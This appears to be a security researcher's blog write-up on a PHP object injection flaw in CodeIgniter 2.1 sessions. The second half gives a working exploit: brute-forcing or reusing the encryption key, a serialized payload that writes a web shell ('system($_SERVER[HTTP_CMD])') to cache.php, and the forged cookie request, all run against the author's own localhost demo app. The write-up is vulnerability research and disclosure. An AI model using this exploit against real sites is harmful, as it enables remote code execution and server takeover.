Mehmet Ince

Mehmet İnce

Security enthusiast. PRODAFT / INVICTUS.



Codeigniter Object Injection Vulnerability Via Encryption Key

Codeigniter is one of my favorite PHP framework. Like every one else, I've learned PHP MVC programming with this framework. Today, I decided to analyze Codeigniter for PHP Object Injection Vulnerability. I'll focus on Session mechanism of Codeigniter at rest of this write-up . All method that I will explain are located in CodeIgniter/system/libraries/Session.php file. Also I used Codeigniter 2.1 stable release for this research.

Codeigniter Session Mechanism

CI use serialization methods of PHP to store variables in user session. But Codeigniter session mechanism is not working like we expect. It stores session variables in client's cookie. We expect that Codeigniter stores session variables at server side, mostly on disk instead of user cookie. I don't know why developers decided to this way. Following description grabbed from codeigniter documentation.
The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation.
In this write-up we will analyze the possibilities of session data manipulation and so on.

Codeigniter Session Data Structers

Let's start read some codes. But before go further let me explain how Codeigniter creates sessions and put variables into the session -actually cookie!- I will use CI shortcut instead of Codeigniter at rest of the write-up by the way. Lets start to review codes with construct method of Session class. Following codes are a part of __construct method.
// Run the Session routine. If a session doesn't exist we'll
// create a new one.  If it does, we'll update it.
if ( ! $this->sess_read())
{
    $this->sess_create();
}
else
{
    $this->sess_update();
}

// Delete 'old' flashdata (from last request)
$this->_flashdata_sweep();

// Mark all new flashdata as old (data will be deleted before next request)
$this->_flashdata_mark();

// Delete expired sessions if necessary
$this->_sess_gc();

log_message('debug', "Session routines successfully run");
CI try to read value from current client's cookie. If it fails then it created new one. Let assume we dont have any cookie right now. So CI going to call sess_create function. Following codes belongs to sess_create function which is one of the Session class's methods.
function sess_create()
{
    $sessid = '';
    while (strlen($sessid) < 32)
    {
        $sessid .= mt_rand(0, mt_getrandmax());
    }

    // To make the session ID even more secure we'll combine it with the user's IP
    $sessid .= $this->CI->input->ip_address();

    $this->userdata = array(
                        'session_id'	=> md5(uniqid($sessid, TRUE)),
                        'ip_address'	=> $this->CI->input->ip_address(),
                        'user_agent'	=> substr($this->CI->input->user_agent(), 0, 120),
                        'last_activity'	=> $this->now,
                        'user_data'		=> ''
                        );


    // Save the data to the DB if needed
    if ($this->sess_use_database === TRUE)
    {
        $this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata));
    }

    // Write the cookie
    $this->_set_cookie();
}
 sess_create responsible for create session variables and set them to the user. As you see, it create array in order to store session id, ip address, user-agent etc  in session. When userdata array ready, it calls _set_cookie() which is another Session class function. Now it's time to analyze _set_cookie function's codes.
function _set_cookie($cookie_data = NULL)
{
    if (is_null($cookie_data))
    {
        $cookie_data = $this->userdata;
    }

    // Serialize the userdata for the cookie
    $cookie_data = $this->_serialize($cookie_data);

    if ($this->sess_encrypt_cookie == TRUE)
    {
        $cookie_data = $this->CI->encrypt->encode($cookie_data);
    }
    else
    {
        // if encryption is not used, we provide an md5 hash to prevent userside tampering
        $cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
    }

    $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

    // Set the cookie
    setcookie(
                $this->sess_cookie_name,
                $cookie_data,
                $expire,
                $this->cookie_path,
                $this->cookie_domain,
                $this->cookie_secure
            );
}
There is one description about code.
// if encryption is not used, we provide an md5 hash to prevent userside tampering
CI uses md5 for encrypt serialized session data. It use encryption_key for salt. Then adds result of the md5 encryption to end of the $cookie_data.
//
//
$cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
I want to explain the above code. $cookie_data is going to send to the client. It contains ip_address, user-agent etc. CI use encryption_key as a salt key. As an attacker we know $cookie_data and result of the md5 encryption. Because CI add result of the md5 calculation to end of the $cookie_data then sends it to us -attacker. Let me show real data.
ci_session=a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397754060;s:9:"user_data";s:0:"";}550d610647f0ee0d019357d84f3b0488
You see ci_session variables at above. It's cookie variable and end of the value you will see 550d610647f0ee0d019357d84f3b0488 . It's result of md5! If we try to reverse that; Value of $cookie_data variables = a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397754060;s:9:"user_data";s:0:"";} $this->encryption_key = is what we are trying to get! Result of md5 calculation = 550d610647f0ee0d019357d84f3b0488 Obviously we can use brute force attack in order to detect salt.I mean encryption key. For example ; let assume following defination. $this->encryption_key = WE DONT NOW! Value of $cookie_data variables  = a:1:{s:4:"test";i:1;}adf8a852dafaf46f8c8038256fd0963a
//
adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test";i:1;}'.$this->encryption_key)
You can use brute force techniques in order to detect encryption_key!  In order to brute force this md5,, you can think encryption_key as plain text that you want to reach, so Value of $cookie_data variables becomes a salt. And ofcourse reverse md5 prototype md5(plain-text, SALT) to md5(SALT,plain-text). This is demonstration.We will have too long $cookie_data in real life example. As I mentioned before, $cookie_data becomes salt in order to brute force md5. Unfortunately HashCat does not support for this kind of salt key.

Codeigniter Session Data Integrity and Verification

We learned how CI create cookie data. Now we will have analyze CI'S cookie data verification system. As I assumed before, we didn't have a cookie. This time we have a cookie in our HTTP request. Let's see how CI checks it and verify it. In order to do that, we need to understand codes of sess_read() method of Session class. Remember _construct method of Session class. It try to read cookie from client with sess_read method. This is the reason why we will analyze sess_read method.
function sess_read()
    {
    // Fetch the cookie
    $session = $this->CI->input->cookie($this->sess_cookie_name);

    // No cookie?  Goodbye cruel world!...
    if ($session === FALSE)
    {
        log_message('debug', 'A session cookie was not found.');
        return FALSE;
    }
    // Decrypt the cookie data
    if ($this->sess_encrypt_cookie == TRUE)
    {
        $session = $this->CI->encrypt->decode($session);
    }
    else
    {
        // encryption was not used, so we need to check the md5 hash
        $hash	 = substr($session, strlen($session)-32); // get last 32 chars
        $session = substr($session, 0, strlen($session)-32);

        // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
        if ($hash !==  md5($session.$this->encryption_key))
        {
            log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
            $this->sess_destroy();
            return FALSE;
        }
    }
    // Unserialize the session array
    $session = $this->_unserialize($session);

    // Is the session data we unserialized an array with the correct format?
    if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity']))
    {
        $this->sess_destroy();
        return FALSE;
    }
    // Is the session current?
    if (($session['last_activity'] + $this->sess_expiration) < $this->now)
    {
        $this->sess_destroy();
        return FALSE;
    }

    // Does the IP Match?
    if ($this->sess_match_ip == TRUE AND $session['ip_address'] != $this->CI->input->ip_address())
    {
        $this->sess_destroy();
        return FALSE;
    }
    // Does the User Agent Match?
    if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this->CI->input->user_agent(), 0, 120)))
    {
        $this->sess_destroy();
        return FALSE;
    }

    // Is there a corresponding session in the DB?
    if ($this->sess_use_database === TRUE)
    {
        $this->CI->db->where('session_id', $session['session_id']);

        if ($this->sess_match_ip == TRUE)
        {
            $this->CI->db->where('ip_address', $session['ip_address']);
        }

        if ($this->sess_match_useragent == TRUE)
        {
            $this->CI->db->where('user_agent', $session['user_agent']);
        }

        $query = $this->CI->db->get($this->sess_table_name);

        // No result?  Kill it!
        if ($query->num_rows() == 0)
        {
            $this->sess_destroy();
            return FALSE;
        }

        // Is there custom data?  If so, add it to the main session array
        $row = $query->row();
        if (isset($row->user_data) AND $row->user_data != '')
        {
            $custom_data = $this->_unserialize($row->user_data);

            if (is_array($custom_data))
            {
                foreach ($custom_data as $key => $val)
                {
                    $session[$key] = $val;
                }
            }
        }
    }
    // Session is valid!
    $this->userdata = $session;
    unset($session);
    return TRUE;
}
Line 4 = Get cookie from client. Line 7 = Check returned value. If it is false, that means client don't have cookie! Line 13 = If encryption is enabled. -In write-up case it's not!- Line 20 = Strip out hash from cookie. -Remember my previous explanation. CI addes md5 hash end of the session data - Line 21 = Strip out session data from cookie. Line 24 = Md5 calculation in order to check data integrity.
Does the md5 hash match? This is to prevent manipulation of session data in userspace
Line 32 = Call _unserialize method of Session data! -Now we can think about Object Injection Vulnerability.- Rest of the code CI check session variables and user-agents. Basically CI want to see same user-agent and ip address. As we analyzed sess_write method CI writes those variables into the session. Lets analyze _unserialize method's codes.
function _unserialize($data)
{
    $data = @unserialize(strip_slashes($data));

    if (is_array($data))
    {
        foreach ($data as $key => $val)
        {
            if (is_string($val))
            {
                $data[$key] = str_replace('{{slash}}', '\\', $val);
            }
        }

        return $data;
    }

    return (is_string($data)) ? str_replace('{{slash}}', '\\', $data) : $data;
}
Yes! It calls unserialize method with  user supplied data which is client's Cookie in this case.

RECAP

Before go to the exploitation part, I want to recap what we learned until now.
  1. CI use serialize and unserialize method in order to store variables in Session.
  2. CI don't use real Session dialectic. CI stores session variables in Client-site (cookie) instead of Server-Site (hard-dirve..)
  3. CI do md5 calculation in order to detect user site tampering.
  4. Checks user-agent and ip address are same with session data.
  5. Call unserialize method.

IN CONCLUSION

We have some obstacles.
  • CI doesn't use destruct or wakeup methods...
  • Codeigniter loads libraries by $autoload['libraries'] variable. If Session class defined in first place in that array, you can NOT reach rest of the classes. Because we are exploiting Session and CI initialize Session class before user land libraries.
Let me clarify it. CI going to create objects from classes by order. That means classes which located in system/core file path will create first. Then CI going to look $autoload['libraries'] array and create object by order again. So, location of the session class initialization is too much important in order to reach different classes. I wrote vulnerable codeigniter application to use it as an example. Following expression is related with that application. https://github.com/mmetince/codeigniter-object-inj Now we can use weakness of session integrity check and unserialize method together. As you figure out, we need to know encryption_key to use that vulnerabilities for evil! There is two method for that. 1 - Like I explained before, use weakness of md5 and failed design of CI's session data integrity together. Brute force it! I suggest you do that when you believe encryption_key is not too long. 2 - A lot of developer usually push their application to github without change encryption_key. And people who use one of that application usually don't change encryption_keys. We already know the encryption_key which is h4ck3rk3y in this case. Let's start! http://localhost:8080/index.php/welcome When I call the above URL, it returned following HTTP response to me.
HTTP/1.1 200 OK
Host: localhost:8080
Connection: close
X-Powered-By: PHP/5.5.3-1ubuntu2.3
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A28.0%29+Gecko%2F20100101+Firefox%2F28.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1397759422%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
Content-Type: text/html

We see Set-Cookie http header variable. Let analyze it
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
You see Expires dates and Max-Age at end of the string.They are not important for now. Let strip them out.
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904
Now we will seperate md5 and cookie from that string  like CI do. md5 = 30f9db14538d353e98dd00d41d84d904 Session data= a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";} We have learned that CI puts user-agent into the session data as you can see above. Actually session data string is a PHP array.
Array
(
    [session_id] => b4febcc23c1ceebfcae0a12471af8d72
    [ip_address] => 127.0.0.1
    [user_agent] => Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0
    [last_activity] => 1397759422
    [user_data] => 
)
We know CI going to check ip address and user-agents after unserialize it. But already done with Object Injection before that controls. We can change it to whatever we want! Now it's time to create our object in order to exploit class. Following class can be found under application/libraries in our example.
<?php
/**
 * Created by PhpStorm.
 * User: mince
 * Date: 4/18/14
 * Time: 3:34 PM
 */
if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Customcacheclass {

    var $dir = '';
    var $value = '';
    public function __construct()
    {
        $this->dir = dirname(__FILE__)."/cache_dir/";
    }

    public function set_value($v){
        $this->value = $v;
    }

    public function get_value(){
        return $this->value;
    }
    public function __destruct(){
        file_put_contents($this->dir."cache.php", $this->value, FILE_APPEND);
    }
}
You see __destruct method save class variable into the cache.php file. Serialized form of Cacheclass going to be like following string.
//
O:10:"Cacheclass":2:{s:3:"dir";s:15:"/tmp/cache_dir/";s:5:"value";s:3:"NUL";}
We will change it to like following one in order to write eval codes into to cache.php file.
//
<?php
class Customcacheclass {

    var $dir = 'application/libraries/cache_dir/';
    var $value = '<?php system($_SERVER[HTTP_CMD]);?>';
}
echo serialize(new Customcacheclass);


// Result
O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}
Now we need to calculate true md5 value for malformed session data in order to pass integrity control of sess_read method.
<?php

$b = 'O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}';
$private_key = 'h4ck3rk3y';

echo md5($b.$private_key);
echo "\n";
And result is fc47e410df55722003c443cefbe1b779. We will add this md5 end of the our new Cookie value.
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Referer: http://localhost/
Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55722003c443cefbe1b779
When you send above http request to the CI you will see the following codes in content of cache.php
//
<?php system($_SERVER[HTTP_CMD]);?>